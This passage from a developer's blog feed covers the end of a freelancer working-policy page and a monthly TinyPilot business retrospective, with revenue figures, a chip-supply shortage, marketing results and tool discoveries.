&lt;h3 id="github-permissions">GitHub permissions&lt;/h3>
&lt;p>I assign access on a &lt;a href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">least-privilege basis&lt;/a>. If you&amp;rsquo;re working on one of my public repositories, you can fork it and begin making pull requests with no additional permissions.&lt;/p>
&lt;p>I use two GitHub integrations that require annoyingly broad permissions: &lt;a href="https://circleci.com/">CircleCI&lt;/a> and &lt;a href="https://reviewable.io/">Reviewable&lt;/a>. Both applications require write access to all repos in your GitHub account. If you don&amp;rsquo;t feel comfortable with those permissions, you&amp;rsquo;ll need to create a dedicated GitHub user account for your work with me so that you can grant those tools full access.&lt;/p>
&lt;h3 id="commit-hygiene">Commit hygiene&lt;/h3>
&lt;p>Some developers believe that every commit is beautiful and sacred. I&amp;rsquo;m not one of them.&lt;/p>
&lt;p>It&amp;rsquo;s important to me that the &lt;em>main&lt;/em> branch has a sane commit history. In all other branches, commit however you like. You can make one commit per code review note or address all notes in a single commit. Whatever workflow you prefer is fine with me. I use GitHub&amp;rsquo;s &lt;a href="https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges#squash-and-merge-your-pull-request-commits">squash and merge functionality&lt;/a>, so every pull request collapses down to a single commit.&lt;/p>
&lt;p>If you submit a pull request with many commits, I&amp;rsquo;ll read the pull request title, description, and comments. I don&amp;rsquo;t dig through the individual commits, as I assume they represent your intermediate work. The article &lt;a href="https://chris.beams.io/posts/git-commit/">&amp;ldquo;How to Write a Git Commit Message&amp;rdquo;&lt;/a> describes my preferred style of documenting contributions, except applied to the pull request, not the individual commits.&lt;/p>
&lt;h2 id="testing">Testing&lt;/h2>
&lt;p>When you create a pull request, you&amp;rsquo;re responsible for ensuring all tests pass in continuous integration. Fix any build breaks before sending me code to review.&lt;/p>
&lt;p>If you&amp;rsquo;ve added a feature or otherwise changed behavior, update the automated tests to exercise the new behavior.&lt;/p>
&lt;p>If you&amp;rsquo;ve modified a feature that&amp;rsquo;s difficult to test with automation, manually test the functionality to exercise the new code. If you can&amp;rsquo;t find a way to do that, warn me that it&amp;rsquo;s untested when you send it for review (this should be extremely rare).&lt;/p>
&lt;h2 id="billable-hours">Billable hours&lt;/h2>
&lt;p>I consider almost everything you do in service of working with me to be billable work.&lt;/p>
&lt;div class="example good-example">
&lt;p>&lt;strong>Examples of billable work&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Communicating with me (including emails, video calls, and in-person meetings)&lt;/li>
&lt;li>Reading documents that I ask you to read (including this one)&lt;/li>
&lt;li>Researching a technique or technology relevant to your work&lt;/li>
&lt;li>Going for a walk to think about a complex problem&lt;/li>
&lt;/ul>
&lt;/div>
&lt;div class="example bad-example">
&lt;p>&lt;strong>Examples of non-billable work&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Reading a book cover-to-cover because it&amp;rsquo;s related to your work
&lt;ul>
&lt;li>Reading a chapter is fine.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Fixing your work computer because your hard drive died&lt;/li>
&lt;li>Shopping for a new desk chair&lt;/li>
&lt;/ul>
&lt;/div>
&lt;h2 id="expenses">Expenses&lt;/h2>
&lt;p>I expect you to provide the basic tools you need to operate as a freelance developer (e.g., computer, Internet access, electricity).&lt;/p>
&lt;p>I&amp;rsquo;m happy to pay the cost of any software, services, or equipment that make your work more efficient or pleasant. Just run it by me first.&lt;/p>
&lt;p>If I ask you to purchase something related to the job, I&amp;rsquo;ll reimburse you for it on your next invoice.&lt;/p>
&lt;h2 id="monitoring">Monitoring&lt;/h2>
&lt;p>I trust you to report your hours honestly. I&amp;rsquo;ll never ask you to &amp;ldquo;prove&amp;rdquo; your hours to me or install any surveillance software on your system.&lt;/p>
&lt;p>If we&amp;rsquo;re on a platform such as Upwork, where monitoring is built-in, I&amp;rsquo;ll always make the monitoring features optional. I won&amp;rsquo;t review the monitoring data unless there&amp;rsquo;s an egregious discrepancy in hours. Even in that case, I&amp;rsquo;ll speak to you before inspecting the data.&lt;/p>
&lt;h2 id="progress-updates">Progress updates&lt;/h2>
&lt;p>It&amp;rsquo;s difficult to specify exactly how frequently to share updates, as there&amp;rsquo;s a degree of judgment required.&lt;/p>
&lt;p>For tasks where the scope is obvious, like feature work that&amp;rsquo;s well-understood, share an update once every eight to ten hours of billable work. For tasks where the scope is variable, such as bug investigations or features that require experimentation, aim to update once for every two to four hours of billable work. The absolute upper-limit on time without a status update should be three calendar days of billable work or 10 billable hours, whichever happens first.&lt;/p>
&lt;p>The best way to share status update is with pull requests that reflect progress. Ideally, you can peel off a part of your work that makes a complete pull request, but if not, you can share a pull request and mark it as &amp;ldquo;draft&amp;rdquo; to indicate it&amp;rsquo;s still a work in progress. To share progress during a bug investigation, update the GitHub issue summarizing what you&amp;rsquo;ve investigated and what you&amp;rsquo;ve learned.&lt;/p>
&lt;p>You can email me privately for meta-discussions about the work that you prefer not to share widely on GitHub, but try to keep as much discussion as possible on GitHub.&lt;/p>
&lt;h2 id="payment">Payment&lt;/h2>
&lt;p>Please send me invoices for your hours every two weeks. Expect payment within five business days of the invoice, usually sooner.&lt;/p>
&lt;p>I don&amp;rsquo;t pay bonuses or tips. I want your compensation to be transparent, so you don&amp;rsquo;t have to wonder about undefined pay left to my discretion.&lt;/p>
&lt;p>I pay via PayPal, Payoneer, ACH transfer (US only), or a mailed check (US only), depending on your preference.&lt;/p>
&lt;h2 id="post-contract-work">Post-contract work&lt;/h2>
&lt;p>I&amp;rsquo;ll never contact you after a job with questions about your work or requests for free changes. It&amp;rsquo;s my responsibility to determine that you delivered everything I requested within your time under contract.&lt;/p>
&lt;p>If I discover an issue in your work after I send you payment, I&amp;rsquo;m responsible for fixing it myself or offering you additional billable hours.&lt;/p>
&lt;h2 id="taxes">Taxes&lt;/h2>
&lt;p>If I pay you more than $600 per calendar year, I need some forms for tax purposes.&lt;/p>
&lt;ul>
&lt;li>US citizens and residents
&lt;ul>
&lt;li>You&amp;rsquo;ll need to provide a &lt;a href="https://www.irs.gov/pub/irs-pdf/fw9.pdf">W-9 form&lt;/a>. At the end of the year, I&amp;rsquo;ll send you a &lt;a href="https://www.irs.gov/forms-pubs/about-form-1099-misc">1099-MISC&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Non-US freelancers
&lt;ul>
&lt;li>I&amp;rsquo;ll need a &lt;a href="https://www.irs.gov/pub/irs-pdf/fw8ben.pdf">W-8BEN&lt;/a> form that declares you don&amp;rsquo;t owe US taxes.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="intellectual-property">Intellectual property&lt;/h2>
&lt;p>If we&amp;rsquo;re working together on a project where I want to retain intellectual property rights, I&amp;rsquo;ll send you &lt;a href="https://web.archive.org/web/20220522192345/https://www.docracy.com/0wceme3njsd/sample-freelance-developer-agreement">a contract&lt;/a> to e-sign. It declares that I&amp;rsquo;m purchasing the copyright to the code you write for me.&lt;/p>
&lt;p>The contract relates specifically to work I pay you to produce, not anything you create outside of your paid hours for me.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow.&lt;/em>&lt;/p>
&lt;p>Are you a client or freelancer? I&amp;rsquo;d love to see similar documents or hear how others approach this problem, so feel free to share in the comments.&lt;/p></content:encoded></item><item><title>TinyPilot: Month 8</title><link>https://mtlynch.io/retrospectives/2021/03/</link><pubDate>Wed, 03 Mar 2021 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2021/03/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilots revenues dropped for the first time in six months.&lt;/li>
&lt;li>TinyPilot finished the month with $33k in revenue, a 21% drop from January.&lt;/li>
&lt;li>One of the critical TinyPilot parts I need suddenly disappeared from vendors.&lt;/li>
&lt;li>Delegating work to others is paradoxically leaving me with less free time.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>TinyPilots revenues dropped for the first time in six months.&lt;/li>
&lt;li>TinyPilot finished the month with $33k in revenue, a 21% drop from January.&lt;/li>
&lt;li>One of the critical TinyPilot parts I need suddenly disappeared from vendors.&lt;/li>
&lt;li>Delegating work to others is paradoxically leaving me with less free time.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="attract-five-bloggers-or-youtubers-to-a-tinypilot-affiliate-program">Attract five bloggers or YouTubers to a TinyPilot affiliate program&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Failed to even launch an affiliate program&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>I thought this would be easy. I use Shopify as my payments backend, and there are tons of Shopify apps that let you create affiliate programs. I only realized after trying to create an affiliate program that every option requires you to &lt;a href="https://twitter.com/deliberatecoder/status/1360284765149085699">hand over all of your customers&amp;rsquo; personal information&lt;/a> to the affiliate app.&lt;/p>
&lt;p>Instead, I&amp;rsquo;m rolling my own, which I&amp;rsquo;m hoping is &lt;a href="https://www.joelonsoftware.com/2002/03/04/nothing-is-as-simple-as-it-seems/">as simple as it seems&lt;/a>. All I need to do is tell affiliates to use a link like &lt;code>tinpilotkvm.com/?ref=some-affiliate&lt;/code> and record the affiliate ID with the transaction. At the end of the month, I pay everyone manually. It doesn&amp;rsquo;t scale, but it should be fine for ~10 affiliates.&lt;/p>
&lt;h3 id="add-two-features-to-tinypilot-that-reduce-support-or-manufacturing-costs">Add two features to TinyPilot that reduce support or manufacturing costs&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I added three features to the app and two features to the website that reduce support costs&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I added three new convenience features to TinyPilot, but I haven&amp;rsquo;t yet cut an official release that includes them:&lt;/p>
&lt;ul>
&lt;li>Update TinyPilot through the web UI&lt;/li>
&lt;li>Change hostname through the web UI&lt;/li>
&lt;li>View debug logs from the web UI&lt;/li>
&lt;/ul>
&lt;p>I also added a &lt;a href="https://forum.tinypilotkvm.com">support forum&lt;/a> and &lt;a href="https://web.archive.org/web/20230606130531/https://tinypilotkvm.com/faq">frequently asked questions pages&lt;/a>, both of which I should have added a long time ago. They both help users answer their own questions instead of relying on me for private email support.&lt;/p>
&lt;h3 id="collect-feedback-from-10-customers-about-a-potential-rack-mounted-version-of-tinypilot">Collect feedback from 10 customers about a potential rack-mounted version of TinyPilot&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Collected feedback from zero customers&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>Sketching out a rack-mounted TinyPilot took longer than I expected. I&amp;rsquo;m days away from a preview document I can show customers to solicit feedback.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>11,249&lt;/td>
 &lt;td>7,824&lt;/td>
 &lt;td>&lt;font color="red">-3,425 (-30%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>17,737&lt;/td>
 &lt;td>12,909&lt;/td>
 &lt;td>&lt;font color="red">-4,828 (-27%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$41,992.92&lt;/td>
 &lt;td>$33,061.41&lt;/td>
 &lt;td>&lt;font color="red">-$8,931.51 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Donations&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$50.00&lt;/td>
 &lt;td>&lt;font color="green">+$50.00 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$41,992.92&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$33,109.96&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$8,882.96 (-21%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>February was TinyPilot&amp;rsquo;s first down month since August 2020. Of course, $33k of revenue is nothing to sneeze at, but I hoped to sustain the $40k revenues I saw in January.&lt;/p>
&lt;p>Part of this was due to an inventory shortage. I suspended new advertising and promotion halfway through the month, but the first half&amp;rsquo;s marketing didn&amp;rsquo;t work as well as I expected.&lt;/p>
&lt;h2 id="dealing-with-materials-shortage">Dealing with materials shortage&lt;/h2>
&lt;p>Throughout January, I kept hearing vendors talk about a slowdown in February due to Chinese New Year. I heeded the warnings and purchased enough of the parts I get from China to last me through mid-March. Even so, I thought everyone was exaggerating. An entire country can&amp;rsquo;t shut down for a month, right? There&amp;rsquo;d maybe be a week where things stop, but then business would resume as usual.&lt;/p>
&lt;p>I placed an order on February 4th with my usual supplier for the HDMI capture chip I use in Voyager, my premium TinyPilot. The order never moved forward, so I figured I just was too late and I&amp;rsquo;d get it when things started up again at the end of the month. No problem! I planned for this.&lt;/p>
&lt;p>Two weeks later, I got this message:&lt;/p>













 








 
 
 







&lt;figure class="img" style="max-width: 406px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/03/hdmi-wait.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 406px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/03/hdmi-wait_hu_5f881cf832ab9f69.png 300w, https://mtlynch.io/retrospectives/2021/03/hdmi-wait.png 404w'
 src="https://mtlynch.io/retrospectives/2021/03/hdmi-wait.png" alt="hello This product is currently out of stock Need to arrive in March Could you wait, please?" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Bad news from my HDMI chip vendor&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At first, it didn&amp;rsquo;t seem like a big deal. I&amp;rsquo;d just order from another vendor.&lt;/p>
&lt;p>Then, my backup vendor said they were out of stock. Uh oh&amp;hellip;&lt;/p>
&lt;p>I found several other suppliers, but I was nervous about placing huge orders with an overseas vendor I&amp;rsquo;ve never worked with before. No vendor has ever completely ripped me off, but I&amp;rsquo;ve experienced several who sit on my order for months before shipping.&lt;/p>
&lt;p>To hedge my risk, I split my orders across several vendors on eBay and AliExpress. The problem is that I think most of these sellers are actually the same company. One eBay seller flat-out told me so:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/03/all-same-company.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/03/all-same-company_hu_c9a572135f63b66a.png 300w, https://mtlynch.io/retrospectives/2021/03/all-same-company_hu_bec7827334af739e.png 600w, https://mtlynch.io/retrospectives/2021/03/all-same-company.png 623w'
 src="https://mtlynch.io/retrospectives/2021/03/all-same-company.png" alt="hi friend, ar eyou sure for this order? since we see that you also order with my other store of my workmate. the other two store you order also in my company" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I tried to split my risk by ordering from multiple vendors, but they&amp;rsquo;re all the same vendor operating under different names.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Two sequences that have happened every time I&amp;rsquo;ve placed an order:&lt;/p>
&lt;h3 id="the-bad-sequence">The bad sequence&lt;/h3>
&lt;ol>
&lt;li>I place the order&lt;/li>
&lt;li>Vendor responds, saying that they&amp;rsquo;re out of stock, would I like to wait or get a refund?&lt;/li>
&lt;li>I ask for a refund&lt;/li>
&lt;li>I get the money back but still have no chips&lt;/li>
&lt;/ol>
&lt;h3 id="the-worse-sequence">The worse sequence&lt;/h3>
&lt;ol>
&lt;li>I place the order&lt;/li>
&lt;li>Vendor adds a phony tracking number to the order&lt;/li>
&lt;li>I ask vendor why it&amp;rsquo;s not showing up on DHL, and they tell me that it will be there soon&lt;/li>
&lt;li>Repeat step (3) every two days&lt;/li>
&lt;li>I have neither my money nor my chips&lt;/li>
&lt;/ol>
&lt;p>I even tried switching to another variant of the same chip, but I&amp;rsquo;m getting the same runaround with those listings. I haven&amp;rsquo;t run out of chips yet, but I&amp;rsquo;m on track to exhaust my inventory in the next two weeks. In the meantime, I&amp;rsquo;ve increased Voyager prices by 10% to slow down sales.&lt;/p>
&lt;h2 id="youtube-success-might-not-replicate">YouTube success might not replicate&lt;/h2>
&lt;p>After TinyPilot&amp;rsquo;s &lt;a href="https://mtlynch.io/retrospectives/2021/02/#tinypilots-first-youtube-review">first YouTube review&lt;/a>, the business experienced its largest-ever surge in sales. Naturally, I thought, &amp;ldquo;Wow! I really need to get more YouTubers to review TinyPilot.&amp;rdquo;&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 453px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/03/sales-jan.png">
 &lt;img
 
 sizes="(min-width: 768px) 453px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/03/sales-jan_hu_9828bbb15287ad3f.png 300w, https://mtlynch.io/retrospectives/2021/03/sales-jan.png 453w'
 src="https://mtlynch.io/retrospectives/2021/03/sales-jan.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://mtlynch.io/retrospectives/2021/02/#tinypilots-first-youtube-review">First YouTube review&lt;/a> causes an enormous spike in sales&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I worked with two more YouTubers to get reviews, but the results were less dramatic. The subsequent reviews were positive, but they had no measurable impact on sales.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 458px">



 &lt;a href="https://mtlynch.io/retrospectives/2021/03/all-reviews.png">
 &lt;img
 
 sizes="(min-width: 768px) 458px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2021/03/all-reviews_hu_e84fcf56130ac4e.png 300w, https://mtlynch.io/retrospectives/2021/03/all-reviews.png 458w'
 src="https://mtlynch.io/retrospectives/2021/03/all-reviews.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The &lt;a href="https://www.youtube.com/watch?v=jq2X2ofedyQ">second&lt;/a> and &lt;a href="https://www.youtube.com/watch?v=0aGbglFZi8g">third&lt;/a> YouTube reviews had no measurable impact on sales&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I still see a great deal of potential in YouTube. Tons of YouTubers teach server maintenance. If I can win them over to TinyPilot when they show demos of low-level administration, that has tremendous value for the TinyPilot brand.&lt;/p>
&lt;h2 id="finding-time-for-deep-work">Finding time for deep work&lt;/h2>
&lt;p>For the past few months, I&amp;rsquo;ve felt extremely pressed for time. There are tons of things on my to-do list, and I often check off the &lt;a href="https://mtlynch.io/book-reports/7-habits-of-highly-effective-people/#time-management-matrix">urgent things rather than the important things&lt;/a>. I find myself spending the majority of my time responding to emails, focused on short-term tasks rather than &lt;a href="https://mtlynch.io/book-reports/deep-work/#key-takeaways">deep work&lt;/a> that serves my long-term goals.&lt;/p>
&lt;p>On the other hand, I may be managing time optimally. I&amp;rsquo;ve been focusing on delegating more of my work, but hiring new people means I have less time for deep work in the short-term. I&amp;rsquo;m spending more time communicating with people and helping new hires get up to speed.&lt;/p>
&lt;p>I haven&amp;rsquo;t tried to delegate customer service, as I think a significant part of TinyPilot&amp;rsquo;s appeal is that customers identify me as personally responsible for the business. With an enterprise KVM vendor, you&amp;rsquo;d never get in touch with an engineer, much less the CEO.&lt;/p>
&lt;p>That said, I don&amp;rsquo;t want to be &lt;em>so&lt;/em> accessible that I spend all my time responding to customer emails. I&amp;rsquo;m trying to find ways to stay accessible but provide easier ways for customers to solve their problems than by emailing me.&lt;/p>
&lt;p>Here are my plans for reducing my customer support workload:&lt;/p>
&lt;ul>
&lt;li>Adjust language around support documentation to tell users that I prioritize support forum posts over requests to my direct email.&lt;/li>
&lt;li>Add FAQ articles for repeated support questions.&lt;/li>
&lt;li>Allocate more development toward bugfixes and usability features.&lt;/li>
&lt;/ul>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>80,177&lt;/td>
 &lt;td>60,437&lt;/td>
 &lt;td>&lt;font color="red">-19,740 (-25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>182,367&lt;/td>
 &lt;td>135,865&lt;/td>
 &lt;td>&lt;font color="red">-46,502 (-25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>11.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$677.36&lt;/td>
 &lt;td>$584.18&lt;/td>
 &lt;td>&lt;font color="red">-$93.18 (-14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$238.02&lt;/td>
 &lt;td>$202.78&lt;/td>
 &lt;td>&lt;font color="red">-$35.24 (-15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$915.38&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$786.96&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$128.42 (-14%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto is still enjoying its bump in visitors from New Year&amp;rsquo;s Resolution dieters. The January-to-February drop is almost identical dropoff to what happened in 2020.&lt;/p>
&lt;p>The site continues to run in the background without me touching it. I had an offer to buy the site last month for a decent valuation, but the time it would take me to complete the sale would take too much away from TinyPilot.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,042&lt;/td>
 &lt;td>483&lt;/td>
 &lt;td>&lt;font color="red">-559 (-54%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$2,565.22&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$359.95&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$2,205.27 (-86%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sadly, I&amp;rsquo;ve stopped promotion of the course. I tried several marketing tactics in January, but none of them seemed to impact sales, so I&amp;rsquo;ve stopped trying. It feels like a waste because I put so much time into the course, and the results faded so quickly.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2021&lt;/th>
 &lt;th>February 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>419&lt;/td>
 &lt;td>434&lt;/td>
 &lt;td>&lt;font color="green">+15 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,194&lt;/td>
 &lt;td>1,236&lt;/td>
 &lt;td>&lt;font color="green">+42 (+4%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$155.50&lt;/td>
 &lt;td>$32.52&lt;/td>
 &lt;td>&lt;font color="red">-$122.98 (-79%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Earnings&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$155.50&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$32.52&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$122.98 (-79%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful is chugging along in the background as well. I got an unexpected spike of inbound inquiries for enterprise plans, but nothing has come of it so far.&lt;/p>
&lt;h2 id="neat-discoveries">Neat discoveries&lt;/h2>
&lt;h3 id="litestream">&lt;a href="https://litestream.io">Litestream&lt;/a>&lt;/h3>
&lt;p>I hate being responsible for database backups, so I always end up using a managed database like Google Cloud Datastore or Google Firestore. But as Google increasingly &lt;a href="https://medium.com/@steve.yegge/dear-google-cloud-your-deprecation-policy-is-killing-you-ee7525dc05dc">makes me regret building on their platform&lt;/a>, I&amp;rsquo;ve searched for an alternative.&lt;/p>
&lt;p>Litestream looks like the solution I&amp;rsquo;ve been waiting for. It&amp;rsquo;s a lightweight service that replicates a SQLite database to any S3-compatible interface. That means that I can completely blow away a server with zero notice, and all the data remains safely stored in my S3 bucket. When I start the server up again, it will gracefully pull down the database from S3 and resume without me having to do any manual repairs.&lt;/p>
&lt;p>To test out Litestream, I created a little &lt;a href="https://logpaste.com/">log pasting service&lt;/a> that I wanted for TinyPilot. I can run it on any Docker hosting service (Heroku, Lightsail, DigitalOcean), but it fits in the free tier of both Heroku and Amazon S3. At any time, I can tear down the Docker container, launch it somewhere else, and it will have all the same data and continue replicating automatically.&lt;/p>
&lt;h3 id="plaintext-accounting">&lt;a href="https://plaintextaccounting.org/">Plaintext accounting&lt;/a>&lt;/h3>
&lt;p>For the past two years, I&amp;rsquo;ve begrudgingly done my bookkeeping with Xero. I dislike the software, but it&amp;rsquo;s the best bookkeeping solution I can find.&lt;/p>
&lt;p>I recently learned about &lt;a href="https://plaintextaccounting.org/">plaintext accounting&lt;/a>, a dev-oriented way of tracking finances using command-line tools and double-entry accounting in plaintext files. Compared with Xero, I find plaintext accounting much more intuitive, and I have more confidence that I&amp;rsquo;m doing things correctly.&lt;/p>
&lt;p>All the tools have &lt;a href="https://twitter.com/deliberatecoder/status/1358975568637747207">a steep learning curve&lt;/a>, but my favorite so far is &lt;a href="https://beancount.github.io/">Beancount&lt;/a>. It appeals to me because it&amp;rsquo;s one of the most mature tools in its category and it&amp;rsquo;s Python-based.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Hired three freelance developers for TinyPilot
&lt;ul>
&lt;li>Two work 10-15 hours/week on the product, and one works 3-5 hours/week on the website&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Created a TinyPilot support forum and FAQ&lt;/li>
&lt;li>Reached feature complete on TinyPilot&amp;rsquo;s next release&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">&amp;ldquo;My Third Year as a Solo Developer,&amp;rdquo;&lt;/a> which reached #1 on &lt;a href="https://www.reddit.com/r/programming/comments/la4hfq/my_third_year_as_a_solo_developer/">/r/programming&lt;/a> and &lt;a href="https://news.ycombinator.com/item?id=25989010">#7 on Hacker News&lt;/a>&lt;/li>
&lt;li>Appeared as a guest on two podcasts:
&lt;ul>
&lt;li>&lt;a href="https://www.hexdevs.com/posts/why-michael-lynch-left-his-job-at-google-to-become-a-solo-founder/">The Hexdevs Podcast&lt;/a>, where I talked about financial independence&lt;/li>
&lt;li>&lt;a href="https://www.ecpodcast.io/episodes/42-michael-lynch-how-to-hit-the-front-page-of-hacker-news">The Entrepreneurial Coder Podcast&lt;/a>, where I talked about blogging and Hacker News&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
